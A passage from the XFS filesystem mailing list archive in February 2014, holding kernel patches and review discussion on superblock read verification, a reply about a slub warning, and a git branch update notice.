id s1DMCAP1024651 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 13 Feb 2014 17:12:10 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1DMC7km014478 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Thu, 13 Feb 2014 17:12:09 -0500 Message-ID: <52FD4337.6060209@redhat.com> Date: Thu, 13 Feb 2014 16:12:07 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs-oss Subject: Re: [PATCH] xfs: skip verification on initial "guess" superblock read References: <52FD3C59.3050400@redhat.com> <20140213220812.GI13997@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: skip verification on initial "guess" superblock read In-Reply-To: <20140213220812.GI13997@dastard> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392329532 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/13/14, 4:08 PM, Dave Chinner wrote: > On Thu, Feb 13, 2014 at 03:42:49PM -0600, Eric Sandeen wrote: >> When xfs_readsb() does the very first read of the superblock, >> it makes a guess at the length of the buffer, based on the >> sector size of the underlying storage. This may or may >> not match the filesystem sector size in sb_sectsize, so >> we can't i.e. do a CRC check on it; it might be too short. >> >> In fact, mounting a filesystem with sb_sectsize larger >> than the device sector size will cause a mount failure >> if CRCs are enabled, because we are checksumming a length >> which exceeds the buffer passed to it. >> >> The only really foolproof way I see around this is to >> *always* read the superblock twice in xfs_readsb(); >> first with a guess, and again with a length as indicated >> by the superblock's sb_sectsize. The verifier for >> this guessed length buffer is a no-op; we'll do proper >> verification on the 2nd time around. > > We don't need a verifier for a "don't verify" read. Just pass in > NULL to avoid verification completely. Oh! if (read && bp->b_ops && !bp->b_error && (bp->b_flags & XBF_DONE)) bp->b_ops->verify_read(bp); Doh, ok, yeah that is simpler. Didn't think about that. :/ > Also, you don't need to re-read the buffer to verify it unless the > sector size was not what was predicted. All you need to do is call > the verifier directly on the buffer in question, then attach it > directly to the buffer. So no need for @xfs_sb_guess_buf_ops. :) Hum, ok, let me ponder that. -Eric > Cheers, > > Dave. > > >> >> Signed-off-by: Eric Sandeen >> --- >> >> diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c >> index 02df7b4..b4413fe 100644 >> --- a/fs/xfs/xfs_mount.c >> +++ b/fs/xfs/xfs_mount.c >> @@ -282,22 +282,28 @@ xfs_readsb( >> struct xfs_sb *sbp = &mp->m_sb; >> int error; >> int loud = !(flags & XFS_MFSI_QUIET); >> + const struct xfs_buf_ops *buf_ops; >> >> ASSERT(mp->m_sb_bp == NULL); >> ASSERT(mp->m_ddev_targp != NULL); >> >> /* >> + * For the initial read, we must guess at the sector >> + * size based on the block device. It's enough to >> + * get the sb_sectsize out of the superblock and >> + * then reread with the proper length. >> + */ >> + sector_size = xfs_getsize_buftarg(mp->m_ddev_targp); >> + buf_ops = &xfs_sb_guess_buf_ops; >> + >> + /* >> * Allocate a (locked) buffer to hold the superblock. >> * This will be kept around at all times to optimize >> * access to the superblock. >> */ >> - sector_size = xfs_getsize_buftarg(mp->m_ddev_targp); >> - >> reread: >> bp = xfs_buf_read_uncached(mp->m_ddev_targp, XFS_SB_DADDR, >> - BTOBB(sector_size), 0, >> - loud ? &xfs_sb_buf_ops >> - : &xfs_sb_quiet_buf_ops); >> + BTOBB(sector_size), 0, buf_ops); >> if (!bp) { >> if (loud) >> xfs_warn(mp, "SB buffer read failed"); >> @@ -328,12 +334,13 @@ reread: >> } >> >> /* >> - * If device sector size is smaller than the superblock size, >> - * re-read the superblock so the buffer is correctly sized. >> + * Re-read the superblock so the buffer is correctly sized, >> + * and properly verified. >> */ >> - if (sector_size < sbp->sb_sectsize) { >> + if (buf_ops == &xfs_sb_guess_buf_ops) { >> xfs_buf_relse(bp); >> sector_size = sbp->sb_sectsize; >> + buf_ops = loud ? &xfs_sb_buf_ops : &xfs_sb_quiet_buf_ops; >> goto reread; >> } >> >> diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c >> index 5071ccb..abbbbb7 100644 >> --- a/fs/xfs/xfs_sb.c >> +++ b/fs/xfs/xfs_sb.c >> @@ -653,6 +653,20 @@ xfs_sb_quiet_read_verify( >> /* quietly fail */ >> xfs_buf_ioerror(bp, EWRONGFS); >> } >> +/* >> + * The initial superblock read from xfs_readsb only guesses at >> + * the sector size based on the block device sector size, so >> + * we may get here with a buffer length shorter than the filesystem >> + * sb_sectsize. We can't properly verify it, so just return, >> + * and xfs_readsb will call the proper verifer with a real length >> + * on the 2nd time around. >> + */ >> +static void >> +xfs_sb_guess_read_verify( >> + struct xfs_buf *bp) >> +{ >> + return; >> +} >> >> static void >> xfs_sb_write_verify( >> @@ -680,16 +694,24 @@ xfs_sb_write_verify( >> offsetof(struct xfs_sb, sb_crc)); >> } >> >> +/* Normal read verifier */ >> const struct xfs_buf_ops xfs_sb_buf_ops = { >> .verify_read = xfs_sb_read_verify, >> .verify_write = xfs_sb_write_verify, >> }; >> >> +/* Quiet verifier for MS_SILENT mounts; ignore non-XFS magic */ >> const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { >> .verify_read = xfs_sb_quiet_read_verify, >> .verify_write = xfs_sb_write_verify, >> }; >> >> +/* The very first superblock read must guess at the size */ >> +const struct xfs_buf_ops xfs_sb_guess_buf_ops = { >> + .verify_read = xfs_sb_guess_read_verify, >> + .verify_write = xfs_sb_write_verify, >> +}; >> + >> /* >> * xfs_mount_common >> * >> diff --git a/fs/xfs/xfs_shared.h b/fs/xfs/xfs_shared.h >> index 8c5035a..a4294a6 100644 >> --- a/fs/xfs/xfs_shared.h >> +++ b/fs/xfs/xfs_shared.h >> @@ -51,6 +51,7 @@ extern const struct xfs_buf_ops xfs_inode_buf_ra_ops; >> extern const struct xfs_buf_ops xfs_dquot_buf_ops; >> extern const struct xfs_buf_ops xfs_sb_buf_ops; >> extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; >> +extern const struct xfs_buf_ops xfs_sb_guess_buf_ops; >> extern const struct xfs_buf_ops xfs_symlink_buf_ops; >> >> /* >> >> _______________________________________________ >> xfs mailing list >> xfs@oss.sgi.com >> http://oss.sgi.com/mailman/listinfo/xfs >> > From rientjes@google.com Thu Feb 13 16:14:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 955A97F55 for ; Thu, 13 Feb 2014 16:14:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 16980AC00B for ; Thu, 13 Feb 2014 14:14:43 -0800 (PST) X-ASG-Debug-ID: 1392329679-04cbb00c28371e00001-NocioJ Received: from mail-pb0-f49.google.com (mail-pb0-f49.google.com [209.85.160.49]) by cuda.sgi.com with ESMTP id w5eX0kQ8SeIDwHpC (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 13 Feb 2014 14:14:39 -0800 (PST) X-Barracuda-Envelope-From: rientjes@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.49 Received: by mail-pb0-f49.google.com with SMTP id up15so11307552pbc.8 for ; Thu, 13 Feb 2014 14:14:39 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=date:from:to:cc:subject:in-reply-to:message-id:references :user-agent:mime-version:content-type; bh=EeXNJ227ZI0xtAyaabs8wfXpaejkZeQaYEt+yKP0hAA=; b=nQ7zLHkpsSpPOc1Pq6HXtjjW8c1sYHtjUSqx/7ndPCq4eWDZjUN/gQX4Gnk7bOEzmD tlD1wTyfwhPsdULhfCCZRMqQNT5f6oP9ep+jaAqdNevRVWGCyImWOnqfCr3P1klTR127 AyAHpqtu/SWu5Mv/67UFb5//xVHd557TiizPB7NK+1fj5srXK6v4mRj8tWbsrQ1bVDzl vnY8NyIVyHKAogprUuCEIQSphWrsrPNKZqUl2ofz9/Shup8efzVtfHMPR3bY5/RXd5iy S3chLk3qto2shyFzIXx+VURLXGX+yAl5D2OOh2J2oprJA/yU2Crj40VY47dkuqNxl9sZ FFvQ== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:in-reply-to:message-id :references:user-agent:mime-version:content-type; bh=EeXNJ227ZI0xtAyaabs8wfXpaejkZeQaYEt+yKP0hAA=; b=aEja1KtCVT2cU+3VesedHId7sD0GGoIrQv/9fXP6YjMPNPPY9VOTLM6RL6cZxDVtW0 01DurrQazNxXCC/MS+4AkRlJyYRm9BXoWUE66ZQXsIklyXsMjMwEHGKHAhqemTsBRthq e28s+mr+5x7AYtID3YH4AUeyy9KFlFCT1pGL7WwggAn/Uh3TAurf44utf01UiebJKJb9 pP1UA1j4IKig+g75QwhG2DT+lspsJVYRjpp43Siigln3CBMUQEnqLSgRUUe+ATNFPp1r rZeZWQhrMF44/qqtm6eJJIO2JK2GP5DG4QNs8nY9+5pMctMmfUP/4jjXPclnV8r5r23W KHmg== X-Gm-Message-State: ALoCoQmFX6cxK0udT6MW5+B4jjk/uSlyqh0HzXsEpAnS0I/HdhdZQZ+TgW2Yp3XHbvDWc3VwmU7h/bdrV6sQFz34D4Qh5g4J5QwgdzuHz5u+y5VbIlJVNTmwnbnL9uFH7ukJBrOK5eKRe6bvaK9ifscw8ant+EG5pvDJU2+v8iEmNXZCt32TvPL9JxNYRl4gX5+EZflfMbdp X-Received: by 10.68.201.226 with SMTP id kd2mr4398701pbc.157.1392329679195; Thu, 13 Feb 2014 14:14:39 -0800 (PST) Received: from [2620:0:1008:1101:be30:5bff:fed8:5e64] ([2620:0:1008:1101:be30:5bff:fed8:5e64]) by mx.google.com with ESMTPSA id f5sm24224826pat.11.2014.02.13.14.14.38 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Thu, 13 Feb 2014 14:14:38 -0800 (PST) Date: Thu, 13 Feb 2014 14:14:37 -0800 (PST) X-Barracuda-Apparent-Source-IP: 2620:0:1008:1101:be30:5bff:fed8:5e64 From: David Rientjes X-X-Sender: rientjes@chino.kir.corp.google.com To: Christian Kujau cc: LKML , xfs@oss.sgi.com, linux-mm@kvack.org Subject: Re: 3.14.0-rc2: WARNING: at mm/slub.c:1007 In-Reply-To: X-ASG-Orig-Subj: Re: 3.14.0-rc2: WARNING: at mm/slub.c:1007 Message-ID: References: User-Agent: Alpine 2.02 (DEB 1266 2009-07-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: mail-pb0-f49.google.com[209.85.160.49] X-Barracuda-Start-Time: 1392329679 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-ASG-Whitelist: Body =?UTF-8?B?aHR0cDovL21hcmNcLmluZm8vXD8=?= X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, 13 Feb 2014, Christian Kujau wrote: > > after upgrading from 3.13-rc8 to 3.14.0-rc2 on this PowerPC G4 machine, > > the WARNING below was printed. > > > > Shortly after, a lockdep warning appeared (possibly related to my > > post to the XFS list yesterday[0]). > > Sigh, only _after_ sending the email, I came across an earlier posting on > lkml: http://marc.info/?l=linux-mm&m=139145788623391 > There's a fix for that: http://marc.info/?l=linux-kernel&m=139145999324131 or alternatively wait for 3.14-rc3 which will already have it. From david@fromorbit.com Thu Feb 13 16:26:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 63D527F55 for ; Thu, 13 Feb 2014 16:26:09 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 35C44304043 for ; Thu, 13 Feb 2014 14:26:09 -0800 (PST) X-ASG-Debug-ID: 1392330367-04bdf0121f3952e0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id SvAsJFvLSu7he4Iv for ; Thu, 13 Feb 2014 14:26:07 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AskJAEhF/VJ5LJYe/2dsb2JhbABZgwa7DIVQgRoXdIIlAQEEAScTHCMFCwgDDgYECSUPBSUDIROHfQfITBcWjiFCB4Q4BI4/iWySJINBKIEu Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 14 Feb 2014 08:56:06 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WE4jL-0004o9-0d; Fri, 14 Feb 2014 09:26:03 +1100 Date: Fri, 14 Feb 2014 09:26:02 +1100 From: Dave Chinner To: Christian Kujau Cc: LKML , xfs@oss.sgi.com, linux-mm@kvack.org Subject: Re: 3.14.0-rc2: WARNING: at mm/slub.c:1007 Message-ID: <20140213222602.GK13997@dastard> X-ASG-Orig-Subj: Re: 3.14.0-rc2: WARNING: at mm/slub.c:1007 References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392330367 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145090 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 13, 2014 at 11:53:05AM -0800, Christian Kujau wrote: > Hi, > > after upgrading from 3.13-rc8 to 3.14.0-rc2 on this PowerPC G4 machine, > the WARNING below was printed. > > Shortly after, a lockdep warning appeared (possibly related to my > post to the XFS list yesterday[0]). Unlikely. > Even later in the log an out-of-memory error appeared, that may or may not > be relatd to that WARNING at all but which I'm trying to chase down ever > since 3.13, but which tends to appear more often lately. > > Can anyone take a look if this is something to worry about? Already fixed upstream: commit 255d0884f5635122adb23866b242b4ca112f4bc8 Author: David Rientjes Date: Mon Feb 10 14:25:39 2014 -0800 mm/slub.c: list_lock may not be held in some circumstances Commit c65c1877bd68 ("slub: use lockdep_assert_held") incorrectly required that add_full() and remove_full() hold n->list_lock. The lock is only taken when kmem_cache_debug(s), since that's the only time it actually does anything. Require that the lock only be taken under such a condition. Reported-by: Larry Finger Tested-by: Larry Finger Tested-by: Paul E. McKenney Acked-by: Christoph Lameter Cc: Pekka Enberg Signed-off-by: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cheers, Dave. -- Dave Chinner david@fromorbit.com From dgc@oss.sgi.com Thu Feb 13 16:35:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id B7E517F57; Thu, 13 Feb 2014 16:35:25 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.14-rc1-2-12935-ga64b760 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 39f30ca7eaa4fe9224094c7a9964cff36c584dab X-Git-Newrev: a64b760771e85f54e0921fb05ac48b0585adccec Message-Id: <20140213223525.B7E517F57@oss.sgi.com> Date: Thu, 13 Feb 2014 16:35:24 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated discards 39f30ca7eaa4fe9224094c7a9964cff36c584dab (commit) discards 008482657169c0276ddd2ba00a1ad14a324b91f0 (commit) a64b760 Merge branch 'xfs-async-aio-extend' into for-next 692f68a Merge branch 'xfs-fixes-for-3.15-1' into for-next 55daffa xfs: xfs_sb_read_verify() doesn't flag bad crcs on primary sb from 39f30ca7eaa4fe9224094c7a9964cff36c584dab (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit a64b760771e85f54e0921fb05ac48b0585adccec Merge: 692f68a 9862f62 Author: Dave Chinner Date: Thu Feb 13 23:11:55 2014 +1100 Merge branch 'xfs-async-aio-extend' into for-next commit 692f68aab2c794ed9bbb05da5c52c906d91885d0 Merge: 55daffa 492185e Author: Dave Chinner Date: Thu Feb 13 23:11:29 2014 +1100 Merge branch 'xfs-fixes-for-3.15-1' into for-next ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_sb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) hooks/post-receive -- XFS development tree From sandeen@sandeen.net Thu Feb 13 16:45:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 067207F57 for ; Thu, 13 Feb 2014 16:45:39 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 766DCAC005 for ; Thu, 13 Feb 2014 14:45:38 -0800 (PST) X-ASG-Debug-ID: 1392331536-04cb6c6de2374640001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id Ekwtp7FIgcEsBK4n for ; Thu, 13 Feb 2014 14:45:36 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 80676651A8FE; Thu, 13 Feb 2014 16:45:36 -0600 (CST) Message-ID: <52FD4B10.2010005@sandeen.net> Date: Thu, 13 Feb 2014 16:45:36 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH V2] xfs: skip verification if initial sb read is wrong length References: <52FD3C59.3050400@redhat.com> X-ASG-Orig-Subj: [PATCH V2] xfs: skip verification if initial sb read is wrong length In-Reply-To: <52FD3C59.3050400@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392331536 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145090 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- When xfs_readsb() does the very first read of the superblock, it makes a guess at the length of the buffer, based on the sector size of the underlying storage. This may or may not match the filesystem sector size in sb_sectsize; if it's too short, we can't do a proper validity check on it. In fact, mounting a filesystem with sb_sectsize larger than the device sector size will cause a mount failure if CRCs are enabled, because we are checksumming a length which exceeds the buffer passed to it. Work around this by setting the verifier ops to NULL on the first read; if the guess was right, hook up the normal ops and verify it directly, otherwise reread with the newly discovered proper length. Signed-off-by: Eric Sandeen --- diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 02df7b4..ff5ed4a 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -282,22 +282,29 @@ xfs_readsb( struct xfs_sb *sbp = &mp->m_sb; int error; int loud = !(flags & XFS_MFSI_QUIET); + const struct xfs_buf_ops *buf_ops; ASSERT(mp->m_sb_bp == NULL); ASSERT(mp->m_ddev_targp != NULL); /* + * For the initial read, we must guess at the fs sector + * size based on the block device. It's enough to + * get the sb_sectsize out of the superblock and + * then reread with the proper length if necessary. + * We don't verify it yet, because it may not be complete. + */ + sector_size = xfs_getsize_buftarg(mp->m_ddev_targp); + buf_ops = NULL; + + /* * Allocate a (locked) buffer to hold the superblock. * This will be kept around at all times to optimize * access to the superblock. */ - sector_size = xfs_getsize_buftarg(mp->m_ddev_targp); - reread: bp = xfs_buf_read_uncached(mp->m_ddev_targp, XFS_SB_DADDR, - BTOBB(sector_size), 0, - loud ? &xfs_sb_buf_ops - : &xfs_sb_quiet_buf_ops); + BTOBB(sector_size), 0, buf_ops); if (!bp) { if (loud) xfs_warn(mp, "SB buffer read failed"); @@ -334,7 +341,12 @@ reread: if (sector_size < sbp->sb_sectsize) { xfs_buf_relse(bp); sector_size = sbp->sb_sectsize; + buf_ops = loud ? &xfs_sb_buf_ops : &xfs_sb_quiet_buf_ops; goto reread; + } else { + /* We guessed right! Verify it. */ + bp->b_ops = &xfs_sb_buf_ops; + bp->b_ops->verify_read(bp); } /* Initialize per-cpu counters */ diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 5071ccb..1b0b503 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -644,7 +644,6 @@ xfs_sb_quiet_read_verify( { struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); - if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC)) { /* XFS filesystem, verify noisily! */ xfs_sb_read_verify(bp); From david@fromorbit.com Thu Feb 13 16:45:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6D52629DFD for ; Thu, 13 Feb 2014 16:45:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 416398F8033 for ; Thu, 13 Feb 2014 14:45:46 -0800 (PST) X-ASG-Debug-ID: 1392331543-04cbb00c29374340001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id V0yigibDiBV0nbRi for ; Thu, 13 Feb 2014 14:45:44 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApoTAPRJ/VJ5LJYe/2dsb2JhbABZgwY4qQADkVGFUIEZF3SCJQEBBTocMwgDGAkaCw8FJQM0iAQOyFwWjGKBHxEBVxaEIgSYK5IkgW+BUiiBNQ Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 14 Feb 2014 09:15:43 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WE52H-0004sW-Df for xfs@oss.sgi.com; Fri, 14 Feb 2014 09:45:37 +1100 Date: Fri, 14 Feb 2014 09:45:37 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: Re: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.14-rc1-2-12935-ga64b760 Message-ID: <20140213224537.GL13997@dastard> X-ASG-Orig-Subj: Re: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.14-rc1-2-12935-ga64b760 References: <20140213223525.B7E517F57@oss.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140213223525.B7E517F57@oss.sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392331543 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145090 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 13, 2014 at 04:35:24PM -0600, xfs@oss.sgi.com wrote: > This is an automated email from the git hooks/post-receive script. It was > generated because a ref change was pushed to the repository containing > the project "XFS development tree". > > The branch, for-next has been updated > discards 39f30ca7eaa4fe9224094c7a9964cff36c584dab (commit) > discards 008482657169c0276ddd2ba00a1ad14a324b91f0 (commit) > a64b760 Merge branch 'xfs-async-aio-extend' into for-next > 692f68a Merge branch 'xfs-fixes-for-3.15-1' into for-next > 55daffa xfs: xfs_sb_read_verify() doesn't flag bad crcs on primary sb > from 39f30ca7eaa4fe9224094c7a9964cff36c584dab (commit) > > Those revisions listed above that are new to this repository have > not appeared on any other notification email; so we list those > revisions in full, below. Just a note for everyone because this is the first time it has happened since this discussion: http://oss.sgi.com/archives/xfs/2013-12/msg00586.html This update is a rebase of the for-next branch as the initial topic branch that forms the current base of the for-next tree (xfs-fixes-for-3.14-rc3) was updated. The commit 55daffa mentioned above is the new commit that was added to that that branch. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Feb 13 17:03:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B26357F5A for ; Thu, 13 Feb 2014 17:03:37 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2B32AAC00B for ; Thu, 13 Feb 2014 15:03:34 -0800 (PST) X-ASG-Debug-ID: 1392332611-04cb6c6de2375960001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id AAxHZHi0pv2NhuGL for ; Thu, 13 Feb 2014 15:03:31 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsgJALRO/VJ5LJYe/2dsb2JhbABZgwa7DIVQgRkXdIIlAQEFJxMcIxAIAxgJJQ8FJQMhE4gEyFQXFo5jB4Q4AQOYK5Ikg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 14 Feb 2014 09:32:28 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WE5IY-0004uv-7m; Fri, 14 Feb 2014 10:02:26 +1100 Date: Fri, 14 Feb 2014 10:02:26 +1100 From: Dave Chinner To: Eric Sandeen Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH V2] xfs: skip verification if initial sb read is wrong length Message-ID: <20140213230226.GM13997@dastard> X-ASG-Orig-Subj: Re: [PATCH V2] xfs: skip verification if initial sb read is wrong length References: <52FD3C59.3050400@redhat.com> 